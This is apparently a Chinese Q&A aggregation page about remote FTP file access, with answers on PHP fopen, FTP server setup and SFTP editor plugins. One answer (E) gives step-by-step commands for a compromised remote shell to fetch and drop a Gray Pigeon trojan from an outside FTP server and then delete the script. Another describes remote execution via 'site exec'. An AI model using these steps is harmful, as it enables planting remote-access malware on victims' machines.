当前位置:首页 » 文件传输 » ftp远程读写文件
扩展阅读
webinf下怎么引入js 2023-08-31 21:54:13
堡垒机怎么打开web 2023-08-31 21:54:11

ftp远程读写文件

发布时间: 2022-08-31 22:14:34

A. 请问php如何像打开本地文件一样打开远程ftp服务器上的文件

<?php
$handle = fopen("/home/rasmus/file.txt", "r");
$handle = fopen("/home/rasmus/file.gif", "wb");
$handle = fopen("http://www.example.com/", "r");
$handle = fopen("ftp://user:[email protected]/somefile.txt", "w");
?>
这样不就好了,
'r' 只读方式打开,将文件指针指向文件头。
'r+' 读写方式打开,将文件指针指向文件头。
'w' 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
'w+' 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
'a' 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
'a+' 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。

之后你就可以直接查询php的手册 ,,fopen fwrite file_get_content file_put_content 这几个函数就好了

B. delphi 如何直接读取远程FTP上的TXT文件的内容

读取.就是把内容下载到你自己的内存里面,不保存文件.
所以用cb120520025 的方法是可以的.

C. 我可以直接读取ftp上的文件吗

正常情况下是不能够的,只有你登录ftp后,将文件下下来后才能访问

D. 怎么把本地文件传到远程ftp

1、首先需要在本地设置一个FTP站点

(1)我的电脑——》管理——》本地用户和组——》用户——》新增用户,即设置FTP登录的用户名和密码

(5)最后就可以测试刚才建立的ftp服务器是否建立成功了。在浏览器上输入以下地址ftp://设置站点时ip(在此为本地ip) 即可打开具有上传功能的FTP页面,输入ftp://设置站点时ip(在此为本地ip):2121即可打开只有下载功能的页面了!当然,登录之前还需要你输入开始建立的那个账号及密码:用户名为:。密码为:XXXXXX

这样你需要建立的ftp服务器就建立成功了

E. 远程计算机怎么用FTP传文件啊

在远程计算机的cmd环境下,如果不能通过ipc$渠道传送文件,那就只有通过ftp下载文件了。
假设我们已经有一个ftp服务器,上面有一个我们配置好的灰鸽子木马文件mhgz.exe,我们应该知道ftp服务器的三个参数:
1、ftp服务器的ip地址:如203.75.44.34
2、ftp服务器的用户名:如tty
3、ftp服务器的密
码:如tty123
在远程计算机的cmd下依次输入下面的命令:
1、echo
open
203.75.44.34>>tty.txt
登陆ftp服务器
2、echo
tty>>tty.txt
用户名
3、echo
tty123>>tty.txt
密码
4、echo
bin>>tty.txt
开始
5、echo
get
mhgz.exe>>tty.txt
下载灰鸽子木马
6、echo
bye>>tty.txt
关闭ftp服务器
输入上面命令后,在远程计算机上就会生成一个tty.txt文件,内容为:
open
203.75.44.34
tty
tty123
bin
get
mhgz.exe
bye
现在我们在远程计算机上执行下面的命令:
ftp
-s:tty.txt
意思是,读取tty.txt里的参数,执行ftp命令,命令执行完后,灰鸽子木马文件mhgz.exe就下载到对方计算机里了。
del
c:\tty.txt

F. ftp远程查看文件的方法 直接在我的电脑中输入ftp地址,能看到文件,直接打开,不是复制到本机在查看

打开你的浏览器输入FTP://*.*.*.*回车就可以了,前提是你要知道FTP服务器的地址及端口,这个可以 PING出来的,不懂可以追问

G. 命令行登录FTP下,如何远程执行服务器上的可执行文件不是在本机执行,而是远程执行,命令是什么呢。求高

ftp是可以远程执行文件的,前提条件是你登陆的用户拥有“执行”权限,具体命令是:
quote site exec *.exe (你要执行的exe文件,bat也可以)。

说ftp不能执行是对ftp协议本身不够了解,其实用过ftp服务器端软件(例如serv-u)的人一定注意过,在设置用户权限的时候有一项是“执行”,如果这一项选中,那么本用户就拥有了执行远程服务器程序的权限。然而使用很多ftp客户端软件执行命令的时候都是在本地执行的,所以让很多人误解ftp不能在远程执行,这是客户端软件的问题,与ftp协议无关。所以用以上命令在命令行是能够在远程计算机执行命令的。
另外说ftp执行是漏洞,这也是片面的。实际应该是ftp协议本身提供执行的命令,但是这本身是非常不安全的,做为操作系统(甚至所有服务器端软件)应该将这种权限设为对一般客户不可见。只有特殊权限的用户才能访问,这样才是软件本身应提供的功能。

H. 如何配置 ftp/sftp 访问远程文件

通常是下面这样的流程:使用
FTP/SFTP
连接到远程服务器
->
下载要修改的文件
->
使用
ST2
修改文件
->
保存然后拖进
FTP

->
刷新网站。
很明显这样的工作流程效率很低,特别是你修改一句代码的时候,为了即时生效,也需要重复切换几个窗口重复这个过程。于是就有了
SFTP
这个插件。
它主要功能就是通过
FTP/SFTP
连接远程服务器并获取文件列表,可以选择下载编辑、重命名、删除等等操作,点下载编辑之后,可以打开这个文件进行修改。修改完成之后,保存一下会自动上传到远程的服务器上面。
使用这个插件之后,工作流程就变成了:使用
SFTP
插件打开文件
->
使用
ST2
编辑修改文件
->
保存文件
->
刷新页面。效率提升了至少一倍以上

I. 怎么使用FTP向远程电脑传递文件

首先,你的远程电脑安装ftp服务器
在ftp服务器中创建账号之类的信息(含保存文件的文件夹)
本地使用ftp链接客户端 输入ip地址,端口,账号密码就可以了 端口一般都为21